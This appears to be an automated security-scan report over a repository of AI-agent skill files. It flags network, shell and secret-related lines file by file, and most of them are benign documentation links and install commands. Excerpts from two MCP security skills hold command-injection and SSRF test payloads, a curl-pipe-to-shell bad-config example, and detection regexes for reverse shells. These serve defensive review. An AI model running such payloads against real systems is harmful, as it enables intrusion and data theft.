> When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pages/settin - Network accessline 61
We use [Linguist](https://github.com/github-linguist/linguist) to perform language detection and to select [third-party grammars](https://github.com/github-linguist/linguist/blob/main/vendor/README.md) for syntax highlighting. You can find - Network accessline 65
You can also use code blocks to create diagrams in Markdown. GitHub supports Mermaid, GeoJSON, TopoJSON, and ASCII STL syntax. For more information, see [Creating diagrams](https://docs.github.com/get-started/writing-on-github/working-with- - Network accessline 69
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 70
* [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
harness/claude-code/skills/markdown-to-html/references/collapsed-sections.md
- Network accessline 33
 - Network accessline 37
 - Network accessline 47
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 48
* [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
harness/claude-code/skills/markdown-to-html/references/extended-guide.md
- Network accessline 12
```html <p>This sentence uses <code>$</code> delimiters to show math inline: <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 13
<p>This sentence uses <code>$</code> delimiters to show math inline: <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> <msqrt><mn>3</mn><mi>x</mi><mo>−</mo><mn>1</mn></msqrt> - Network accessline 14
<math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 29
<p><strong>The Cauchy-Schwarz Inequality</strong><br> <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 30
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msup> - Network accessline 31
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 180
- [DOMPurify](https://github.com/cure53/DOMPurify) (recommended) - Network accessline 181
- [sanitize-html](https://github.com/apostrophecms/sanitize-html) - Network accessline 182
- [js-xss](https://github.com/leizongmin/js-xss) - Network accessline 206
- Pandoc installed (download from <https://pandoc.org/installing.html>) - Network accessline 402
Recommended sanitizer: [Bluemonday](https://github.com/microcosm-cc/bluemonday) - Network accessline 447
# Access at http://localhost:4000 - Network accessline 538
- Hugo installed (download from <https://gohugo.io/installation/>) - Network accessline 553
# Add a theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 554
git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml - Network accessline 555
git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 584
# Start with live reload and bind to all interfaces hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/ - Network accessline 585
hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/ - Network accessline 682
- [tables.md](../references/tables.md) - [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Network accessline 683
- [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Styling Markdown: <https://github.com/sindresorhus/github-markdown-css> - Network accessline 684
- Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Network accessline 685
- Styling Markdown: <https://github.com/sindresorhus/github-markdown-css> - Network accessline 689
- Official documentation: <https://marked.js.org/> - Network accessline 690
- Advanced options: <https://marked.js.org/using_advanced> - Network accessline 691
- Extensibility: <https://marked.js.org/using_pro> - Network accessline 692
- GitHub repository: <https://github.com/markedjs/marked> - Network accessline 696
- Getting started: <https://pandoc.org/getting-started.html> - Network accessline 697
- Official documentation: <https://pandoc.org/MANUAL.html> - Network accessline 698
- Extensibility: <https://pandoc.org/extras.html> - Network accessline 699
- GitHub repository: <https://github.com/jgm/pandoc> - Network accessline 703
- Official documentation: <https://pkg.go.dev/github.com/gomarkdown/markdown> - Network accessline 704
- Advanced configuration: <https://pkg.go.dev/github.com/gomarkdown/markdown/html> - Network accessline 705
- Markdown processing: <https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html> - Network accessline 706
- GitHub repository: <https://github.com/gomarkdown/markdown> - Network accessline 710
- Official documentation: <https://jekyllrb.com/docs/> - Network accessline 711
- Configuration options: <https://jekyllrb.com/docs/configuration/options/> - Network accessline 712
- Plugins: <https://jekyllrb.com/docs/plugins/> - Network accessline 713
- [Installation](https://jekyllrb.com/docs/plugins/installation/) - Network accessline 714
- [Generators](https://jekyllrb.com/docs/plugins/generators/) - Network accessline 715
- [Converters](https://jekyllrb.com/docs/plugins/converters/) - Network accessline 716
- [Commands](https://jekyllrb.com/docs/plugins/commands/) - Network accessline 717
- [Tags](https://jekyllrb.com/docs/plugins/tags/) - Network accessline 718
- [Filters](https://jekyllrb.com/docs/plugins/filters/) - Network accessline 719
- [Hooks](https://jekyllrb.com/docs/plugins/hooks/) - Network accessline 720
- GitHub repository: <https://github.com/jekyll/jekyll> - Network accessline 724
- Official documentation: <https://gohugo.io/documentation/> - Network accessline 725
- All Settings: <https://gohugo.io/configuration/all/> - Network accessline 726
- Editor Plugins: <https://gohugo.io/tools/editors/> - Network accessline 727
- GitHub repository: <https://github.com/gohugoio/hugo>
harness/claude-code/skills/markdown-to-html/references/gomarkdown.md
- Network accessline 249
- [Package Documentation](https://pkg.go.dev/github.com/gomarkdown/markdown) - Network accessline 250
- [Advanced Processing Guide](https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html) - Network accessline 251
- [GitHub Repository](https://github.com/gomarkdown/markdown) - Network accessline 252
- [CLI Tool](https://github.com/gomarkdown/mdtohtml) - Network accessline 253
- [Bluemonday Sanitizer](https://github.com/microcosm-cc/bluemonday)
harness/claude-code/skills/markdown-to-html/references/hugo.md
- Dangerous shell operationline 34
sudo apt-get install hugo - Network accessline 36
# Or download from https://gohugo.io/installation/ - Network accessline 48
# Initialize git and add theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 49
git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml - Network accessline 50
git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 135
# Basic settings baseURL = 'https://example.com/' - Network accessline 136
baseURL = 'https://example.com/' - Network accessline 390
- [Hugo Documentation](https://gohugo.io/documentation/) - Network accessline 391
- [Hugo Themes](https://themes.gohugo.io/) - Network accessline 392
- [Hugo Discourse](https://discourse.gohugo.io/) - Network accessline 393
- [GitHub Repository](https://github.com/gohugoio/hugo) - Network accessline 394
- [Quick Reference](https://gohugo.io/quick-reference/)
harness/claude-code/skills/markdown-to-html/references/jekyll.md
- Dangerous shell operationline 28
sudo apt-get install ruby-full build-essential zlib1g-dev - Network accessline 31
# Windows (use RubyInstaller) # Download from https://rubyinstaller.org/ - Network accessline 32
# Download from https://rubyinstaller.org/ - Network accessline 50
# Open http://localhost:4000 - Network accessline 116
description: A great blog baseurl: "" url: "https://example.com" - Network accessline 118
url: "https://example.com" - Network accessline 317
- [Jekyll Documentation](https://jekyllrb.com/docs/) - Network accessline 318
- [Liquid Template Language](https://shopify.github.io/liquid/) - Network accessline 319
- [Kramdown Documentation](https://kramdown.gettalong.org/) - Network accessline 320
- [GitHub Repository](https://github.com/jekyll/jekyll) - Network accessline 321
- [Jekyll Themes](https://jekyllthemes.io/)
harness/claude-code/skills/markdown-to-html/references/marked.md
- Network accessline 33
<script src="https://cdn.jsdelivr.net/npm/marked/lib/marked.umd.js"></script>
harness/claude-code/skills/markdown-to-html/references/pandoc.md
- Network accessline 16
# Or download installer from https://pandoc.org/installing.html - Dangerous shell operationline 30
sudo apt-get install pandoc - Dangerous shell operationline 33
sudo dnf install pandoc - Network accessline 35
# Or download from https://pandoc.org/installing.html - Network accessline 223
- [Pandoc User's Guide](https://pandoc.org/MANUAL.html) - Network accessline 224
- [Pandoc Demos](https://pandoc.org/demos.html) - Network accessline 225
- [Pandoc FAQ](https://pandoc.org/faqs.html) - Network accessline 226
- [GitHub Repository](https://github.com/jgm/pandoc)
harness/claude-code/skills/markdown-to-html/references/tables.md
- Network accessline 17
 - Network accessline 30
 - Network accessline 32
If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/get-started - Network accessline 36
You can use [formatting](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) such as links, inline code blocks, and text styling within your table: - Network accessline 45
 - Network accessline 56
 - Network accessline 67
 - Network accessline 71
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 72
* [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
harness/claude-code/skills/markdown-to-html/references/writing-mathematical-expressions-to-html.md
- Network accessline 14
<p>This sentence uses <code>$</code> delimiters to show math inline: <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 15
<math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 45
<p>This sentence uses <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 46
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <mo>‘</mo> - Network accessline 47
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 54
</math-renderer> delimiters to show math inline: <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 55
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msqrt> - Network accessline 56
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 92
<strong>The Cauchy-Schwarz Inequality</strong><br> <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 93
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msup> - Network accessline 94
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 176
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 177
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 252
<p>The equation <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 253
<math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 283
<p><math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 317
<code>\$</code> to display a dollar sign: <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 318
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msqrt> - Network accessline 319
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 339
<span>$</span>100 in half, we calculate <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 340
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <mn>100</mn> - Network accessline 341
<math xmlns="http://www.w3.org/1998/Math/MathML">
harness/claude-code/skills/markdown-to-html/references/writing-mathematical-expressions.md
- Network accessline 7
To enable clear communication of mathematical expressions, GitHub supports LaTeX formatted math within Markdown. For more information, see [LaTeX/Mathematics](http://en.wikibooks.org/wiki/LaTeX/Mathematics) in Wikibooks. - Network accessline 9
GitHub's math rendering capability uses MathJax; an open source, JavaScript-based display engine. MathJax supports a wide range of LaTeX macros, and several useful accessibility extensions. For more information, see [the MathJax documentati - Network accessline 15
There are two options for delimiting a math expression inline with your text. You can either surround the expression with dollar symbols (`$`), or start the expression with <code>$\`</code> and end it with <code>\`$</code>. The latter synta - Network accessline 21
 - Network accessline 27
 - Network accessline 70
 - Network accessline 74
* [The MathJax website](http://mathjax.org) - Network accessline 75
* [Getting started with writing and formatting on GitHub](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github) - Network accessline 76
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
harness/claude-code/skills/markstream-install/SKILL.md
- Network accessline 11
JavaScript or TypeScript frontend project using Vue 3, Nuxt 3/4, Vue 2.6/2.7, React 18+, Next.js, Angular 20+, or Svelte 5. documentation: "https://markstream.simonhe.me/" - Network accessline 12
Next.js, Angular 20+, or Svelte 5. documentation: "https://markstream.simonhe.me/" source: "https://github.com/Simon-He95/markstream-vue" - Network accessline 13
documentation: "https://markstream.simonhe.me/" - Network accessline 14
source: "https://github.com/Simon-He95/markstream-vue" - Network accessline 41
Read `references/scenarios.md` before choosing packages or peers. Official sources are https://markstream.simonhe.me/ and https://github.com/Simon-He95/markstream-vue . - Network accessline 176
- [Installation](https://markstream.simonhe.me/guide/installation) - Network accessline 177
- [AI chat and streaming](https://markstream.simonhe.me/guide/ai-chat-streaming) - Network accessline 178
- [Performance](https://markstream.simonhe.me/guide/performance) - Network accessline 179
- [Troubleshooting](https://markstream.simonhe.me/guide/troubleshooting) - Network accessline 180
- [Component overrides](https://markstream.simonhe.me/guide/component-overrides)
harness/claude-code/skills/mcp-builder/LICENSE.txt
harness/claude-code/skills/mcp-builder/SKILL.md
- Network accessline 52
Start with the sitemap to find relevant pages: `https://modelcontextprotocol.io/sitemap.xml` - Network accessline 54
Then fetch specific pages with `.md` suffix for markdown format (e.g., `https://modelcontextprotocol.io/specification/draft.md`). - Network accessline 71
**For TypeScript (recommended):** - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` - Network accessline 72
- **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` - Network accessline 75
**For Python:** - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 76
- **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 213
### Core MCP Documentation (Load First) - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix - Network accessline 214
- **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix - Network accessline 222
### SDK Documentation (Load During Phase 1/2) - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 223
- **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 224
- **TypeScript SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
harness/claude-code/skills/mcp-builder/reference/evaluation.md
- Access to secretsline 398
[Credential-related source omitted] - Access to secretsline 440
[Credential-related source omitted] - Access to secretsline 444
[Credential-related source omitted] - Network accessline 454
python scripts/evaluation.py \ -t sse \ -u https://example.com/mcp \ - Network accessline 455
[Credential-related source omitted] - Network accessline 456
-u https://example.com/mcp \ - Network accessline 467
python scripts/evaluation.py \ -t http \ -u https://example.com/mcp \ - Network accessline 468
[Credential-related source omitted] - Network accessline 469
-u https://example.com/mcp \ - Access to secretsline 557
[Credential-related source omitted]
harness/claude-code/skills/mcp-builder/reference/node_mcp_server.md
- Dangerous shell operationline 541
"clean": "rm -rf dist" - Network accessline 600
// Constants const API_BASE_URL = "https://api.example.com/v1"; - Network accessline 601
const API_BASE_URL = "https://api.example.com/v1"; - Access to secretsline 707
[Credential-related source omitted] - Access to secretsline 708
[Credential-related source omitted] - Access to secretsline 719
[Credential-related source omitted] - Access to secretsline 720
[Credential-related source omitted] - Network accessline 737
const port = parseInt(process.env.PORT || '3000'); app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); - Network accessline 738
app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); }); - Network accessline 739
console.error(`MCP server running on http://localhost:${port}/mcp`);
harness/claude-code/skills/mcp-builder/reference/python_mcp_server.md
- Network accessline 42
**For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 43
`https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 233
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 234
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 235
async with httpx.AsyncClient() as client: - Network accessline 251
# Good: Async network request async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: - Network accessline 252
async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: response = await client.get(f"{API_URL}/resource/{resource_id}") - Network accessline 253
async with httpx.AsyncClient() as client: - Network accessline 258
# Bad: Synchronous request def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 259
def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks return response.json() - Network accessline 260
response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 352
# Constants API_BASE_URL = "https://api.example.com/v1" - Network accessline 353
API_BASE_URL = "https://api.example.com/v1" - Network accessline 382
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 383
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 384
async with httpx.AsyncClient() as client: - Access to secretsline 511
[Credential-related source omitted] - Access to secretsline 517
[Credential-related source omitted]
harness/claude-code/skills/mcp-builder/scripts/connections.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/mcp-builder/scripts/evaluation.py
harness/claude-code/skills/mcp-create-adaptive-cards/SKILL.md
- Network accessline 132
{ "type": "AdaptiveCard", "$schema": "https://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 133
"type": "AdaptiveCard", "$schema": "https://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 134
"$schema": "https://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 167
- [Adaptive Card Designer](https://adaptivecards.microsoft.com/designer) - Network accessline 168
- [Adaptive Card Schema](https://adaptivecards.io/schemas/adaptive-card.json) - Network accessline 169
- [Template Language](https://learn.microsoft.com/en-us/adaptive-cards/templating/language) - Network accessline 170
- [JSONPath](https://www.rfc-editor.org/rfc/rfc9535)
harness/claude-code/skills/mcp-create-adaptive-cards/references/card-reference-examples.md
- Network accessline 25
"static_template": { "type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 26
"type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 27
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 125
} ], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 126
], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" }, - Network accessline 127
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 156
} ], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 157
], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" } - Network accessline 158
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 221
{ "type": "Image", "url": "https://example.com/image.png", - Network accessline 222
"type": "Image", "url": "https://example.com/image.png", "size": "medium", // auto, stretch, small, medium, large - Network accessline 223
"url": "https://example.com/image.png", - Network accessline 265
"type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/item/${id}" - Network accessline 266
"title": "View Details", "url": "https://example.com/item/${id}" } - Network accessline 267
"url": "https://example.com/item/${id}" - Network accessline 288
"static_template": { "type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 289
"type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 290
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
harness/claude-code/skills/mcp-create-declarative-agent/SKILL.md
- Network accessline 26
- Use Microsoft 365 Agents Toolkit project conventions and generated `appPackage/` files. - The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilo - Network accessline 27
- The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`. - Store secrets in `.env.local` or `.env.dev`; n - Network accessline 28
- Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`. - Access to secretsline 29
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Network accessline 54
{"$schema":"https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json","manifestVersion":"devPreview","version":"1.0.0","id":"...","developer":{"name":"...","websiteUrl":"...","privacyUrl":"...","termsOfUseUr - Network accessline 60
{"$schema":"https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json","version":"v1.0","name":"Agent Name","description":"Agent description","instructions":"You are an assistant that helps with [specific domain]. Use the avail - Network accessline 66
{"schema_version":"v2.1","name_for_human":"Service Name","description_for_human":"Description for users","description_for_model":"Description for AI model","contact_email":"support@company.com","namespace":"serviceName","capabilities":{"con - Network accessline 72
{"serverUrl":"https://{api-host}/mcp/","pluginFilePath":"appPackage/ai-plugin.json"} - Network accessline 90
| Need | Configuration | | --- | --- | | OAuth 2.0 static registration | Use `"type": "OAuthPluginVault"`, `"reference_id": "${{OAUTH_REFERENCE_ID}}"`, `"authorization_url": "https://{auth-host}/authorize"`, `"client_id": "${{CLIENT_ID}}"`, - Network accessline 91
[Credential-related source omitted] - Network accessline 92
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Network accessline 99
| Server | URL | Tools | Auth | | --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | - Network accessline 100
| --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | | Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `cr - Network accessline 101
| GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | - Network accessline 102
| Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `create_issue`, `update_issue` | OAuth 2.0 | - Network accessline 103
| Custom Service | `https://{api-host}/mcp/` | Custom tools exposed by your service | OAuth 2.0 or SSO | - Network accessline 145
- Provisioning: pass | not run | blocked - Local debug/sideload: pass | not run | blocked - Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked - Network accessline 147
- Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked - Access to secretsline 156
[Credential-related source omitted] - Network accessline 162
- [Microsoft Teams manifest schema](https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json) - Network accessline 163
- [Declarative agent schema](https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json) - Network accessline 164
- [Microsoft 365 Copilot chat](https://m365.cloud.microsoft/chat)
harness/claude-code/skills/mcp-deploy-manage-agents/SKILL.md
- Network accessline 26
- Access the Microsoft 365 admin center at https://admin.microsoft.com/ for tenant agent registry, availability, deployment, blocking, and assignment. - Network accessline 27
- Use the Power Platform admin center at https://admin.powerplatform.microsoft.com/ when the agent is an App Builder agent, Workflows agent, agent studio agent, or flow-backed agent. - Network accessline 28
- Use Partner Center at https://learn.microsoft.com/en-us/partner-center/ only for public Agent Store submission and validation. - Network accessline 140
- [Microsoft 365 admin center](https://admin.microsoft.com/) - Network accessline 141
- [Power Platform admin center](https://admin.powerplatform.microsoft.com/) - Network accessline 142
- [Partner Center for agent submissions](https://learn.microsoft.com/en-us/partner-center/) - Network accessline 143
- [Microsoft Agent 365 Overview](https://learn.microsoft.com/en-us/microsoft-agent-365/overview) - Network accessline 144
- [Agent Registry Documentation](https://learn.microsoft.com/en-us/microsoft-365/admin/manage/agent-registry)
harness/claude-code/skills/mcp-implementation-security-review/SKILL.md
- Network accessline 109
| Vector | Dangerous code | Safe alternative | Test payload | CWE | | --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `e - Network accessline 110
| --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", us - Dangerous shell operationline 111
| Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm - Network accessline 111
| Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm - Dangerous shell operationline 112
| Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist. | `__import__('os').system('whoami')`, `require('child_process').exec(' - Network accessline 115
| SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only. | `{{7*7}}`, `${7*7}`, `<%= 7*7 %>` must not render `49`. | CWE- - Network accessline 117
| SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes/domains, block RFC1918 and link-local targets, validate URLs before sending. | `http://169.254.169.254/latest/meta-data/`, `http - Network accessline 200
- [MCP specification 2025-03-26](https://modelcontextprotocol.io/specification/2025-03-26) - Network accessline 201
- [MCP specification 2025-11-25](https://modelcontextprotocol.io/specification/2025-11-25)
harness/claude-code/skills/mcp-security-audit/SKILL.md
- Network accessline 72
(r'(?i)bash\s+-c\s', "bash -c execution"), (r'(?i)sh\s+-c\s', "sh -c execution"), (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), - Network accessline 73
(r'(?i)sh\s+-c\s', "sh -c execution"), (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), (r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"), - Dangerous shell operationline 74
(r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), - Network accessline 74
(r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), - Network accessline 75
(r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"), - Access to secretsline 79
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Network accessline 154
[Credential-related source omitted] - Access to secretsline 155
[Credential-related source omitted] - Dangerous shell operationline 156
| `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` | - Network accessline 156
| `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` | - Access to secretsline 182
[Credential-related source omitted] - Network accessline 190
- [MCP Specification](https://modelcontextprotocol.io/) - Network accessline 191
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 192
- [OWASP ASI-02: Insecure Tool Use](https://genai.owasp.org/)
harness/claude-code/skills/md-to-docx/scripts/md-to-docx.mjs
- Executable scriptline 1
Executable file
harness/claude-code/skills/md-to-docx/scripts/package.json
- Executable scriptline 1
Executable file
harness/claude-code/skills/meeting-minutes/SKILL.md
- Network accessline 67
| Due date | Every action item must include `YYYY-MM-DD`, `ASAP`, or a clear timeframe. | | Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, f - Network accessline 68
| Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. | | Uncertainty | Do not infer unsu - Network accessline 69
| Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. |
harness/claude-code/skills/mentoring-juniors/SKILL.md
harness/claude-code/skills/microsoft-agent-framework/SKILL.md
- Network accessline 26
- Microsoft Agent Framework is in public preview and changes quickly. - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Network accessline 27
- Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Prefer official docs and samples for current APIs; treat older Semantic Kernel and AutoG - Network accessline 55
| Source | Rule | Official guide | | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kerne - Network accessline 56
| --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | | AutoGen | Preserve agent in - Network accessline 57
| Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | - Network accessline 58
| AutoGen | Preserve agent interactions and orchestration semantics before replacing abstractions. | `https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/` | - Network accessline 109
- [Microsoft Agent Framework overview](https://learn.microsoft.com/agent-framework/overview/agent-framework-overview) - Network accessline 110
